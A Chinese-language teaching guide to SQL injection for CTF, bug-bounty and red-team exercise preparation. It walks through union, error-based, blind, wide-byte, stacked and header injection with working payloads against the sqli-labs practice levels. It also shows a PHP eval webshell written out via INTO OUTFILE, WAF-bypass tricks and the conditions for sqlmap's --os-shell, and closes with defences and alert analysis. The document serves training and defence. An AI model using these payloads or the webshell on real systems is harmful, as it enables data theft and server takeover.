SQL注入深度剖析与实战指南(CTF/SRC进阶版)
一、SQL注入原理
核心概念:SQL注入是一种发生在应用程序与数据库层之间的安全漏洞。
根本原因:当Web应用程序向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句(即“Payload”),并直接输入数据库引擎执行。
本质:服务器未对用户的输入做充分校验,导致用户可控的输入被嵌入到SQL语句中并被服务端执行。
危害:可能导致应用程序信息泄露、数据被篡改、甚至被攻击者写入Webshell,获取服务器控制权。
二、SQL注入分类
文章主要介绍了以下几种SQL注入类型:
- 联合查询注入 (Union Query Injection)
- 报错注入 (Error-Based Injection)
- 布尔盲注 (Boolean-Based Blind Injection)
- 时间盲注 (Time-Based Blind Injection)
- 宽字节注入 (Wide-Character Injection)
- 堆叠注入 (Stacked Queries Injection)
- HTTP头部注入 (HTTP Header Injection)
三、各类注入技术深度剖析
1. 联合查询注入
原理:利用 UNION 或 UNION ALL 关键字,将恶意查询的结果合并到原始查询的结果集中,从而在页面上回显数据库信息。
UNION:合并结果集并去除重复记录。UNION ALL:合并结果集但不去除重复记录。
利用条件:
- 页面存在SQL注入漏洞。
- 页面有回显位,即查询结果会显示在页面上的特定位置。
利用步骤(以sqli-labs Less-1为例):
- 判断注入点与闭合方式:
?id=1'产生报错,确定为字符型,单引号闭合。 - 判断字段数:使用
ORDER BY子句。
当?id=1' ORDER BY 3 --+ORDER BY 4报错,ORDER BY 3正常时,说明当前查询结果为3个字段。 - 寻找回显位:使用
UNION SELECT,并使原查询不返回结果(如id=-1),让联合查询的结果显示出来。
此时页面显示数字?id=-1' UNION SELECT 1,2,3 --+2和3,说明第2和第3个字段是回显位。 - 获取数据:将回显位替换为想要查询的信息。
即可在页面上显示当前数据库名和版本。?id=-1' UNION SELECT 1, database(), version() --+
2. 报错注入
原理:利用数据库函数的某些特性,通过故意触发数据库错误,并使错误信息中包含我们想查询的数据。
常见报错函数:
-
updatexml()
- 功能:更新XML文档。
- 报错原理:当第二个参数(XPath路径)格式错误时,会报错,并将错误路径的内容返回。
- Payload:
错误信息会显示AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)~database_name~。
-
extractvalue()
- 功能:从XML文档中提取值。
- 报错原理:与
updatexml类似,XPath路径格式错误时报错。 - Payload:
AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))
-
floor()
- 报错原理:利用
count()、floor()、rand()和group by在特定条件下产生的重复键错误。 - Payload:
AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), 0x3a, floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) a)
- 报错原理:利用
-
exp()
- 功能:计算e的x次方。
- 报错原理:传入一个超大值(如
~0,即按位取反后的0,是一个极大数)导致计算溢出错误。 - Payload:
AND exp(~(SELECT * FROM (SELECT database())a))
利用场景:在页面没有正常回显位,但会显示数据库报错信息时使用。
3. 时间盲注
原理:当页面不会返回错误信息,无论输入什么,都只回显一种界面(如“页面存在”或“页面不存在”)时,可以根据页面返回的时间延迟来判断注入的SQL语句是否执行成功。
常用延迟函数:
sleep(n):使数据库暂停n秒。AND IF(1=1, sleep(5), 0)benchmark(count, expr):重复执行表达式expr共count次,通过大量计算制造延迟。AND IF(1=1, benchmark(10000000, sha1('test')), 0)
利用步骤(以sqli-labs Less-9为例):
- 判断注入点:
?id=1' AND sleep(5)--+,页面响应明显延迟,说明存在时间盲注,且为单引号闭合。 - 猜解数据库名长度:
如果延迟5秒,则说明数据库名长度为8。?id=1' AND IF(length(database())=8, sleep(5), 1) --+ - 逐字符猜解数据库名:使用
substr()和ascii()函数。
判断数据库名的第一个字符的ASCII码是否为115(即字母 's')。通过二分法可快速猜出所有字符。?id=1' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 0) --+
后续猜解表名、列名、数据的逻辑类似,只需修改SELECT子查询即可。
4. 布尔盲注
原理:页面根据查询条件返回两种状态(如“You are in...”或空白页面)。通过构造逻辑判断(True/False),根据页面返回的不同状态来推断数据信息。
利用步骤(以sqli-labs Less-8为例):
- 判断注入点:
?id=1'页面无内容,?id=1' AND 1=1--+页面正常,?id=1' AND 1=2--+页面无内容,说明是布尔盲注。 - 猜解数据:使用逻辑判断结合字符串函数。
- 猜长度:
?id=1' AND length(database())=8 --+ - 猜内容(使用
left()或substr()+ascii()):
或?id=1' AND left(database(), 1)='s' --+?id=1' AND ascii(substr(database(),1,1))>100 --+
- 猜长度:
5. 宽字节注入
原理:利用字符编码转换(如PHP默认UTF-8,数据库为GBK)的特性,绕过 addslashes() 或 magic_quotes_gpc 等转义函数。
addslashes()会将单引号'转义为\'(%5c%27)。- 在GBK编码中,
%df%5c是一个整体,代表汉字“運”。如果我们在单引号前加上%df,转义后变成%df%5c%27,数据库会认为%df%5c是一个汉字,从而使单引号%27成功逃逸。
利用Payload:
?id=1%df' AND 1=1 --+
这样,注入点就成功闭合,可以执行后续的联合查询或报错注入。
6. 堆叠注入
原理:利用 mysqli_multi_query() 等支持执行多条SQL语句的函数,通过分号 ; 分隔,一次性执行多条SQL语句。
限制:非常依赖后端数据库API是否支持多语句执行。常见的 mysqli_query() 通常只执行一条语句。
利用示例(sqli-labs Less-38):
?id=1'; INSERT INTO users(id, username, password) VALUES ('38','less38','hello') --+
执行后,即可在数据库中插入一条新记录。
7. HTTP头部注入
原理:应用程序会获取并处理客户端HTTP Header中的信息(如 User-Agent, Cookie, Referer, X-Forwarded-For 等),如果这些信息未经严格过滤就直接拼接到SQL语句中,就会产生注入漏洞。
常见类型与利用:
- Cookie注入 (sqli-labs Less-20):
登录后,修改Cookie值为Dumb' AND updatexml(1,concat(0x5e,database(),0x5e),1)#。 - User-Agent注入 (sqli-labs Less-18):
修改请求头中的User-Agent为test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1。注意最后的AND '1'='1'用于闭合原SQL语句中的引号。 - Referer注入 (sqli-labs Less-19):
修改请求头中的Referer为test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1。
四、护网/面试相关要点
1. SQL注入防御措施
- 预编译(参数化查询):最有效的方法。将SQL语句与参数分离,用户输入永远被视为参数而非SQL代码。
- 输入过滤与验证:
- 黑名单:对特殊字符(如单引号、括号、斜杠)进行转义或过滤。
- 白名单:对输入内容进行严格的正则表达式匹配(如年龄字段只允许数字)。
- 最小权限原则:数据库操作账户应遵循最小权限原则,避免使用root等高权限账户。
- 规范编码:统一使用UTF-8等安全编码,避免宽字节注入。
2. 宽字节注入原理
由于PHP文件编码为UTF-8,而数据库连接使用GBK编码。当PHP将请求发送到MySQL时,经过一次GBK编码。攻击者提交 %df',经 addslashes 转义为 %df\'(%df%5c%27)。在GBK编码下,%df%5c 被当作一个汉字解析,导致单引号 %27 逃逸。
3. SQL注入写入Webshell的条件与方法
条件:
- 已知网站的绝对路径。
- 数据库用户具有
FILE权限。 - MySQL配置
secure_file_priv为空或指向可写目录。
方法:
UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE 'C:/www/shell.php'
或利用字段终止符:
UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE 'C:/www/shell.php' LINES TERMINATED BY ''
OUTFILE可以写入多行数据。DUMPFILE只能写入一行数据。
4. SQLMap中Risk和Level的区别
- Risk (风险等级):数值越高(1-3),测试的Payload数量越多,包含更高风险的语句(如
INSERT,UPDATE)。 - Level (探测等级):数值越高(1-5),测试的范围越广,不仅测试GET/POST参数,还会测试Cookie、Host、Referer等HTTP头部。
5. SQL注入绕过WAF的常见思路
- 编码绕过:使用十六进制、URL编码、Unicode编码等。
- 大小写变换:
UnIoN SeLeCt。 - 字符串分割/拼接:
CONCAT('sel','ect')。 - 注释符混淆:
UN/**/ION SEL/**/ECT。 - 使用等价函数/语句:用
like代替=,用mid()代替substring()。 - 盲注绕过:当联合查询和报错注入被拦截时,优先使用时间盲注或布尔盲注。
- 协议层绕过:修改HTTP请求方法、使用畸形请求包等。
6. --os-shell 的使用条件
SQLMap的 --os-shell 功能需要满足以下条件:
- 数据库用户为DBA(数据库管理员)权限。
- 数据库用户具有文件读写权限。
- 已知网站的绝对路径。
- Web应用程序语言(如PHP)支持执行系统命令。
7. 分析SQL注入告警是否成功
- 检查状态码:排除302(重定向)、404(未找到)、502(坏网关)等非200状态码。
- 分析请求包:判断请求参数中的SQL语句是否为恶意的注入Payload。
- 分析响应包:判断响应体内是否包含数据库的敏感信息(如数据库名、表结构、数据内容)或系统报错信息。
这份教学文档系统地梳理了SQL注入的核心原理、各种攻击技术的手动利用步骤、以及相关的实战和面试要点。掌握这些内容,对于在CTF比赛、SRC漏洞挖掘和护网行动中应对SQL注入类漏洞至关重要。